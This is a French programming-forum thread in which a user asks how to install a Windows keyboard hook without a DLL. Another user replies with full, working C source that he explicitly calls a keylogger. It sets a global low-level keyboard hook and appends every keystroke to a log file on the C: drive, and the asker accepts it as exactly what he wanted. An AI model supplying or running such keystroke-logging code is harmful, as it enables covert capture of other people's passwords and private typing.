IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

C++Builder Discussion :

Hook sans dll ...


Sujet :

C++Builder

  1. #1
    Membre habitué
    Avatar de Freeze
    Homme Profil pro
    Inscrit en
    Octobre 2002
    Messages
    131
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Paris (Île de France)

    Informations forums :
    Inscription : Octobre 2002
    Messages : 131
    Points : 162
    Points
    162
    Par défaut Hook sans dll ...
    Une petite question concernant les hook ... est-il possible de mettre en place un hook clavier sans passer par une dll ... j'ai essayé ceci :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     
    STDonnees->KeybdHookHandle=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,NULL,0);
     
    LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
    {
       if (code==HC_ACTION)
       {
          switch(wParam)
          {
             case WM_KEYDOWN:
             case WM_SYSKEYDOWN:
             case WM_KEYUP:
             case WM_SYSKEYUP:
                //  
             break;
          }
       }
    }
    //---------------------------------------------------------------------------
    mais ca marche pas !!!

  2. #2
    Membre actif
    Avatar de Djob
    Inscrit en
    Août 2002
    Messages
    215
    Détails du profil
    Informations forums :
    Inscription : Août 2002
    Messages : 215
    Points : 279
    Points
    279
    Par défaut
    Je ne connais pas bien les hooks,
    et je ne suis pas assez calé sur le sujet pour savoir
    si ceci sur trouvé google correspond à ce que tu cherches :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    / This code should work on Windows 2000, XP, or NT4 SP3 and higher versions
     
    #define _WIN32_WINNT 0x0400
     
    #include <windows.h>
     
    HHOOK hHook; // Handle from global hook
    HINSTANCE hExe; // Handle from our exe
     
    // Hook Management Function
    __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
    {
    if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
    {
    // This Struct gets infos on typed key
    KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
     
    // Find the letter of the typed key
    char lettre=(char)hookstruct.vkCode;
     
    // Bytes written counter for WriteFile()
    DWORD Ecrits;
     
    // Opening of a logfile. Creating it if it does not exists
    HANDLE hFichier = CreateFile("C:\\logfile.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
     
    // If handle returned is valid then
    if( hFichier != INVALID_HANDLE_VALUE)
    {
    // put the file pointer to the end
    SetFilePointer(hFichier,NULL,NULL,FILE_END);
     
    // Write the letter typed in logfile
    WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
     
    // Close the file
    CloseHandle(hFichier);
    }
    }
    // Return messages to the system to allow others hooks.
    return CallNextHookEx(hHook, nCode, wParam, lParam);
     
    }
     
    //Dialogbox functions
    BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
    {
    static HWND hBouton;//Button Handle
    static int mystate;// State Flag from hook
     
    switch( msg )
    {
     
    case WM_CLOSE: // When Click on closing [X]
     
    // Closing the dialogbox
    EndDialog( hDlg, TRUE );
    return 1;
     
    case WM_INITDIALOG: //Init of dialogbox
     
    // Creating Activate / Disable button
    hBouton = CreateWindow("BUTTON", "Activate hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
     
    // Gets current exe HANDLE
    hExe = GetModuleHandle(NULL);
     
    // Put the state flag at 0 : hook unactivated
    mystate=0;
     
    // End of init
    return 1;
     
    case WM_COMMAND: // Click on the bouton
    if( lParam == (long) hBouton)
    {
    if (!mystate) //If hook disabled then
    {
    // Activate hook
    hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
     
    //Then put the state flag at 1 (hook active)
    mystate=1;
     
    // Change button text
    SetWindowText(hBouton,"Disable hook");
    }
     
    else // If hook already active
    {
    // Disable hook
    UnhookWindowsHookEx(hHook);
     
    // Put flagstate to 0 (disabled)
    mystate=0;
     
    // Change button text
    SetWindowText(hBouton,"Activate hook");
    }
    break;
    }
     
    }
    return 0;
    }
     
     
    //Main Function : Creating a dialogbox without resources
    int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
    {
     
    // Mem alloc for our dialog template
    LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512);
    if (!lpdt) return 1;
     
    // Settings of the dialogbox
    lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION;
    lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50;
     
    // Set pointer on the dialogbox name zone
    LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
     
    // Convert in UNICODE name and set it in name zone
    MultiByteToWideChar (CP_ACP, 0, "Global Hook without dll by HaTcH", -1, lpnom, 128);
     
    // Run the dialogbox
    DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
     
    // Free the allocated mem then quit
    GlobalFree((HGLOBAL) lpdt);
    return( FALSE );
    }
    c'est un keylogguer sans dll.
    je l'ai testé et ça a l'air de fonctionner .

    Je reponds à tout hasard...
    dslé si c'est à coté de la plaque ... :-p

  3. #3
    Membre habitué
    Avatar de Freeze
    Homme Profil pro
    Inscrit en
    Octobre 2002
    Messages
    131
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Paris (Île de France)

    Informations forums :
    Inscription : Octobre 2002
    Messages : 131
    Points : 162
    Points
    162
    Par défaut
    C'est exactement ce qu'il me fallait ... Merci ...

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. Faire un exe autonome sans DLL
    Par sergio_bzh dans le forum VB.NET
    Réponses: 5
    Dernier message: 16/08/2007, 15h43
  2. Hook Clavier sans DLL
    Par prgasp77 dans le forum C++
    Réponses: 2
    Dernier message: 25/06/2006, 18h41
  3. Comment détecter l'ouverture d'une session, sans dll ?
    Par yosthegost dans le forum Delphi
    Réponses: 4
    Dernier message: 24/05/2006, 19h58
  4. [VBA] Désactiver la roulette de la souris sans DLL
    Par mat75019 dans le forum Access
    Réponses: 11
    Dernier message: 05/05/2006, 16h19
  5. API HOOK, Dump dll, Surcharge de Fonction
    Par MicroAlexx dans le forum Windows
    Réponses: 2
    Dernier message: 30/12/2005, 10h39

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo